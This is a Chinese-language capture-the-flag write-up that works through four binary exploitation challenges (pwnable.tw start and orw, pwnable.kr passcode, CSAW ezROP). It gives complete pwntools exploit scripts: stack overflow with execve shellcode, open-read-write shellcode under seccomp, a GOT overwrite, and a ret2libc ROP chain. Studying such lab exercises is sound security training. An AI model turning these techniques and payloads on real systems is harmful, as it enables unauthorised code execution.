「Pwnable」Stack based BOF challenge I did recently

警告
本文最后更新于 2022-09-06,文中内容可能已过时。

查看一下开了什么保护:

1
2
3
4
5
6
[*] '/home/track/Binary/Pwnable/TW/start/start'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)

IDA 分析一下程序流程:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
.text:08048060 ; __int64 start()
.text:08048060                 public _start
.text:08048060 _start          proc near               ; DATA XREF: LOAD:08048018↑o
.text:08048060                 push    esp
.text:08048061                 push    offset _exit
.text:08048066                 xor     eax, eax
.text:08048068                 xor     ebx, ebx
.text:0804806A                 xor     ecx, ecx
.text:0804806C                 xor     edx, edx
.text:0804806E                 push    3A465443h
.text:08048073                 push    20656874h
.text:08048078                 push    20747261h
.text:0804807D                 push    74732073h
.text:08048082                 push    2774654Ch
.text:08048087                 mov     ecx, esp        ; addr
.text:08048089                 mov     dl, 14h         ; len
.text:0804808B                 mov     bl, 1           ; fd
.text:0804808D                 mov     al, 4
.text:0804808F                 int     80h             ; LINUX - sys_write
.text:0804808F
.text:08048091                 xor     ebx, ebx
.text:08048093                 mov     dl, 3Ch ; '<'
.text:08048095                 mov     al, 3
.text:08048097                 int     80h             ; LINUX -
.text:08048097
.text:08048099                 add     esp, 14h
.text:0804809C                 retn

man syscall 看一下 i386 arch 的 syscall ABI:

1
2
3
       Arch/ABI      arg1  arg2  arg3  arg4  arg5  arg6  arg7  Notes
       ──────────────────────────────────────────────────────────────
       i386          ebx   ecx   edx   esi   edi   ebp   -

以及调用约定:

1
2
3
4
       Arch/ABI    Instruction           System  Ret  Ret  Error    Notes
                                         call #  val  val2
       ───────────────────────────────────────────────────────────────────
       i386        int $0x80             eax     eax  edx  -

一次 write 在 stdout 打印栈上字符串,一次 read 从 stdin 读 0x3c 个字节到栈上,之后将 esp 抬高 0x14 个字节后到达 retn addr 返回.

可以有一次栈溢出的机会, 结合保护全关, 我们直接在栈上写 shellcode 即可. 这种时候我们一般会选择找一条 jmp esp 的 gadget, 这题显然是没有的. 只能转而泄露栈上地址, 这就需要两次溢出. 简单调试一下看看栈上的情况:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
pwndbg> 
0x08048087 in _start ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────
 EAX  0x0
 EBX  0x0
 ECX  0x0
 EDX  0x0
 EDI  0x0
 ESI  0x0
 EBP  0x0
*ESP  0xffffc2a4 ◂— 0x2774654c ("Let'")
*EIP  0x8048087 (_start+39) ◂— mov    ecx, esp
────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────
   0x804806e <_start+14>    push   0x3a465443
   0x8048073 <_start+19>    push   0x20656874
   0x8048078 <_start+24>    push   0x20747261
   0x804807d <_start+29>    push   0x74732073
   0x8048082 <_start+34>    push   0x2774654c
 ► 0x8048087 <_start+39>    mov    ecx, esp
   0x8048089 <_start+41>    mov    dl, 0x14
   0x804808b <_start+43>    mov    bl, 1
   0x804808d <_start+45>    mov    al, 4
   0x804808f <_start+47>    int    0x80
   0x8048091 <_start+49>    xor    ebx, ebx
─────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────
00:0000│ esp 0xffffc2a4 ◂— 0x2774654c ("Let'")
01:0004│     0xffffc2a8 ◂— 0x74732073 ('s st')
02:0008│     0xffffc2ac ◂— 0x20747261 ('art ')
03:000c│     0xffffc2b0 ◂— 0x20656874 ('the ')
04:0010│     0xffffc2b4 ◂— 0x3a465443 ('CTF:')
05:0014│     0xffffc2b8 —▸ 0x804809d (_exit) ◂— pop    esp
06:0018│     0xffffc2bc —▸ 0xffffc2c0 ◂— 0x1        ; God bless you

发现由于开头的 push esp 栈上会存着一个 old esp 的地址, 只需要溢出控制返回到调用 write 写地址的部分即可. 所以第一部分 payload 构造:

1
2
3
4
5
write_gadget = 0x8048087
payload = flat([
    b'a' * 20,
    p32(write_gadget)
])

打印的前四字节就是 old esp 的地址, 后续再溢出一次写 shellcode 即可. 我选择的 shellcode:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
xor    %eax,%eax
push   %eax
push   $0x68732f2f
push   $0x6e69622f
mov    %esp,%ebx
mov    %eax,%ecx
mov    %eax,%edx
mov    $0xb,%al
int    $0x80
xor    %eax,%eax
inc    %eax
int    $0x80
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

context(
    arch = 'i386',
    os = 'linux',
    log_level = 'debug',
    terminal = ['tmux', 'splitw', '-h']
)

s = lambda data : p.send(data)
sa = lambda delim, data : p.sendafter(delim, data)
sl = lambda data : p.sendline(data)
sla = lambda delim, data : p.sendlineafter(delim, data)
r = lambda numb=4096, timeout=2 : p.recv(numb, timeout=timeout)
ru = lambda delims, drop=True : p.recvuntil(delims, drop)
irt = lambda : p.interactive()
dbg = lambda gs='', **kwargs : gdb.attach(proc.pidof(p)[0], gdbscript=gs, **kwargs)

uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
leak = lambda name, addr : log.success('{} = {:#x}'.format(name, addr))

def leak_esp(p):
    write_gadget = 0x8048087
    payload = flat([
        b'a' * 20,
        p32(write_gadget)
    ])
    sa(b'Let\'s start the CTF:', payload)
    saved_esp = r()[:4]
    return uu32(saved_esp)

def exp(p, esp):
    print(esp)
    shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'
    payload = flat([
        b'a' * 20,
        p32(esp + 20),
        shellcode
    ])
    p.send(payload)
    irt()

ISDEBUG = False

if ISDEBUG:
    p = process('./start')
    # dbg('b *0x8048087')
    # pause()
else:
    p = remote('chall.pwnable.tw', 10000)

saved_esp = leak_esp(p)
exp(p, saved_esp)
irt()

单纯地让你给一段 shellcode, seccomp-tools 发现禁掉了一些 syscalls:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
Pwnable/TW/orw 
[I]  seccomp-tools dump ./orw                              
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0x40000003  if (A != ARCH_I386) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x07 0x00 0x000000ad  if (A == rt_sigreturn) goto 0011
 0004: 0x15 0x06 0x00 0x00000077  if (A == sigreturn) goto 0011
 0005: 0x15 0x05 0x00 0x000000fc  if (A == exit_group) goto 0011
 0006: 0x15 0x04 0x00 0x00000001  if (A == exit) goto 0011
 0007: 0x15 0x03 0x00 0x00000005  if (A == open) goto 0011
 0008: 0x15 0x02 0x00 0x00000003  if (A == read) goto 0011
 0009: 0x15 0x01 0x00 0x00000004  if (A == write) goto 0011
 0010: 0x06 0x00 0x00 0x00050026  return ERRNO(38)
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW

写一段 orw 的 shellcode 就好了.

注意入栈顺序即可:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

ISDEBUG = False
if ISDEBUG:
    p = process('./orw')
else:
    p = remote('chall.pwnable.tw', 10001)

context(
    arch = 'i386',
    os = 'linux',
    log_level = 'debug',
    terminal = ['tmux', 'splitw', '-h']
)

s = lambda data : p.send(data)
sa = lambda delim, data : p.sendafter(delim, data)
sl = lambda data : p.sendline(data)
sla = lambda delim, data : p.sendlineafter(delim, data)
r = lambda numb=4096, timeout=2 : p.recv(numb, timeout=timeout)
ru = lambda delims, drop=True : p.recvuntil(delims, drop)
irt = lambda : p.interactive()
dbg = lambda gs='', **kwargs : gdb.attach(p, gdbscript=gs, **kwargs)

uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
leak = lambda name, addr : log.success('{} = {:#x}'.format(name, addr))

# orw flag in `/home/orw/flag`
# open(flag, 0)
# read(fd, stack, size)
# write(1, stack, size)
shellcode = '''
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
push 0x00006761
push 0x6c662f77
push 0x726f2f65
push 0x6d6f682f
mov ebx, esp
mov eax, 5
int 0x80
mov ebx, eax
mov ecx, esp
mov edx, 0x30
mov eax, 3
int 0x80
mov edx, 0x30
mov ecx, esp
mov ebx, 1
mov eax, 4
int 0x80
'''

# dbg('b *0x804858A\n')

shellcode_bytes = asm(shellcode)
print(shellcode_bytes)

sla(b'Give my your shellcode:', shellcode_bytes)

irt()

欢迎之后登录, 要求两个栈上变量等于要求的值. 漏洞出在如下代码:

1
2
3
4
  __isoc99_scanf("%d", v1);
  fflush(stdin);
  printf("enter passcode2 : ");
  __isoc99_scanf("%d", v2);

有两个任意地址写. 再返回去看看 welcome 函数发现有一个 100 字节的输入, 看似没有什么问题但实际上调试一下发现可以在 welcome 的栈帧溢出覆盖到 login 栈上的变量, 然后写 fflush 的 got 表到 system 函数上即可.

跨函数栈帧的溢出达到任意地址写

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

context(
    arch = 'i386',
    os = 'linux',
    log_level = 'debug',
    terminal = ['tmux', 'splitw', '-h']
)

s = lambda data : p.send(data)
sa = lambda delim, data : p.sendafter(delim, data)
sl = lambda data : p.sendline(data)
sla = lambda delim, data : p.sendlineafter(delim, data)
r = lambda numb=4096, timeout=2 : p.recv(numb, timeout=timeout)
ru = lambda delims, drop=True : p.recvuntil(delims, drop)
irt = lambda : p.interactive()
dbg = lambda gs='', **kwargs : gdb.attach(p, gdbscript=gs, **kwargs)

uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
leak = lambda name, addr : log.success('{} = {:#x}'.format(name, addr))

ISDEBUG = True

if ISDEBUG:
    p = process('./passcode')
    # dbg()
else:
    # ssh [email protected] -p2222 (pw:guest)
    session = ssh(host='pwnable.kr',user='passcode', port=2222,password='guest')
    p = session.process(executable='./passcode')

fflush = 0x804a004
syscommand = 0x080485e3
log.success(f"\033[0;91msyscommand: {str(syscommand).encode()}\033[0m")
pl = flat([
    b'a' * 96, # welcome frame overwrite login frame
    p32(fflush), # overwrite passcode1 addr
    str(syscommand).encode('ascii') # plt['fflush'] = system
])

print(r())
sl(pl)
print(p.recvall())
irt()

IDA 看一下关键的 vuln 函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
void __fastcall vul(void *arr)
{
  __int64 v1; // rax
  __int64 v2; // rax
  __int64 v3; // rax
  __int64 v4; // rax
  __int64 v5; // rax
  __int64 v6; // rax
  __int64 v7; // rax
  __int64 v8; // rax
  __int64 v9; // rax
  __int64 v10; // rax
  __int64 v11; // rax
  __int64 v12; // rax
  __int64 v13; // rax
  size_t rop[257]; // [rsp+10h] [rbp-820h] BYREF
  __int64 cnt; // [rsp+818h] [rbp-18h]
  size_t rsi_gadget; // [rsp+820h] [rbp-10h]
  size_t rdi_gadget; // [rsp+828h] [rbp-8h]
  size_t *vars0; // [rsp+830h] [rbp+0h]

  rdi_gadget = 0x4015A3LL;
  rsi_gadget = 0x4015A1LL;
  cnt = 0LL;
  memset(rop, 0, 0x800uLL);
  v1 = cnt++;
  rop[v1] = (size_t)arr + 0x70;                 // old rbp
  v2 = cnt++;
  rop[v2] = rdi_gadget;                         // pop rdi; retn
  v3 = cnt++;
  rop[v3] = (size_t)str1;                       // My friend ...
  v4 = cnt++;
  rop[v4] = (size_t)&puts;                      // puts func
  v5 = cnt++;
  rop[v5] = rsi_gadget;                         // pop rsi; pop r15; retn
  v6 = cnt++;
  rop[v6] = 256LL;                              // rsi
  v7 = cnt++;
  rop[v7] = 0x999LL;                            // r15
  v8 = cnt++;
  rop[v8] = rdi_gadget;                         // pop rdi; retn
  v9 = cnt++;
  rop[v9] = (size_t)arr;                        // arr
  v10 = cnt++;
  rop[v10] = (size_t)readn;                     // readn(arr, 0x100)
  v11 = cnt++;
  rop[v11] = rdi_gadget;                        // pop rdi; retn
  v12 = cnt++;
  rop[v12] = (size_t)arr;                       // arr
  v13 = cnt++;
  rop[v13] = (size_t)check;                     // check func
  rop[cnt] = (size_t)&loc_40152D;               // main return
  vars0 = rop;
}

发现作者使用 rop 和栈迁移技术执行了自己在 vuln 中布置的 rop chain. 稍微调试一下就可以发现 readn 有一个 0x30 字节的栈溢出, 使用 __ctype_b_loc 限制了输入, 但是可以简单地使用 \x00 绕过.

打 ret2libc:

  • ROP call puts 打印出 puts 的 got
  • leak 出地址之后再返回到 main 溢出一次
  • build docker 测一下偏移,调用 system("/bin/sh")
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

bin_path = './ezROP'
ISDEBUG = False
if ISDEBUG:
    p = process(bin_path)

else:
    p = remote('pwn.chal.csaw.io', 5002)

elf  = ELF(bin_path)

context(
    arch = 'amd64',
    os = 'linux',
    log_level = 'debug',
    terminal = ['tmux', 'splitw', '-h']
)

# gdb.attach(p, 'b main')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
pop_rdi_retn = 0x4015a3
retn_gadget = 0x000000000040117f

payload = flat([
    b'\x00',
    b'a' * 0x6f,
    b'b' * 8,
    p64(pop_rdi_retn),
    p64(puts_got),
    p64(puts_plt),
    p64(main_addr)
])

p.sendlineafter(b'name?\n', payload)
p.recvuntil(b'Welcome to CSAW\'22!\n')
puts_addr = u64(p.recv()[:6].ljust(8, b'\x00'))

print(hex(puts_addr))

system_addr = puts_addr - 205200
binsh_addr = puts_addr + 1245597

payload = flat([
    b'\x00',
    b'a' * 0x6f,
    b'b' * 8,
    p64(retn_gadget),
    p64(pop_rdi_retn),
    p64(binsh_addr),
    p64(system_addr)
])
p.sendline(payload)
p.interactive()

有意思的 shellcode 挑战.

  • csaw how2pwn

  • tw calc

相关内容